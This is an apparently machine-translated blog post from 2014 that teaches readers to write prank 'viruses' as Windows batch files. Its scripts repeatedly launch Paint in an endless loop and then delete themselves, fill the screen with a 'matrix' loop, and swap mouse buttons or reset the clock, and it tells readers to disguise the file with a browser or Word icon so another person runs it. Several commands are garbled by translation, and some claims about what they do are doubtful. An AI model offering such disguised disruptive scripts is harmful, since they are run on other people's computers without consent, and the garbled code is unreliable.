How to make a virus?

Samiko
Samiko
October 1, 2014
How to make a virus?

Viruses are written, as a rule, in order to spoil the life of another - “eat” free space on his PC, disable the system, “crack” passwords, etc. Despite such consequences, there are viruses created just to laugh over buddy. Such a virus is written in five minutes, and it doesn’t get anything critical with the system. The most common viruses, jokes are turning off the PC, opening the same program multiple times, displaying funny text.

Such unpretentious viruses are created in a standard Notepad, except that they are saved not with a .txt resolution, but in the format of a command file .bat.

How to make a virus

Let us consider in stages how to write a virus that repeatedly opens one application.

  1. Open the notebook - for this, right-click on the desktop and select "Create" → "Text document".
  2. We begin to fill our virus with teams
    • @echo off // in this line prohibit the output of commands
    • echo "process started" // text that the user will see
    • : p
    • start mspaint
    • goto: p // running paint
    • pause // press any key
    • del% 0 // virus self-destruction
  3. In the saved file, change the icon to a more popular one (browser, word, etc.) and write the corresponding name.

A few more possible practical jokes:

Some kind of screen saver movie "matrix"

  • @echo off
  • color 2
  • : a
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • goto: a
  • pause

Change the mouse buttons

  • % SystemRoot% / system32 / rundll32 user32, SwapMouseButton> nul

Time change

  • time 0:00

Keyboard off

  • rundll32 keyboard, disable

Mouse off

  • rundll32 mouse, disable

We have considered the most simple and innocuous ways how to spoil a friend. In fact, having studied the system commands, you can irrevocably "put" the system on someone else's computer (and on your own by negligence).

You can also learn about the existence of different types of viruses from the article How to create a virus, but you should not go into this topic, so as not to create unnecessary problems for yourself and others. It is better to take care of protecting your own computer and install a reliable anti-virus program, so that you yourself do not get caught at a rally of a friend or enemy.



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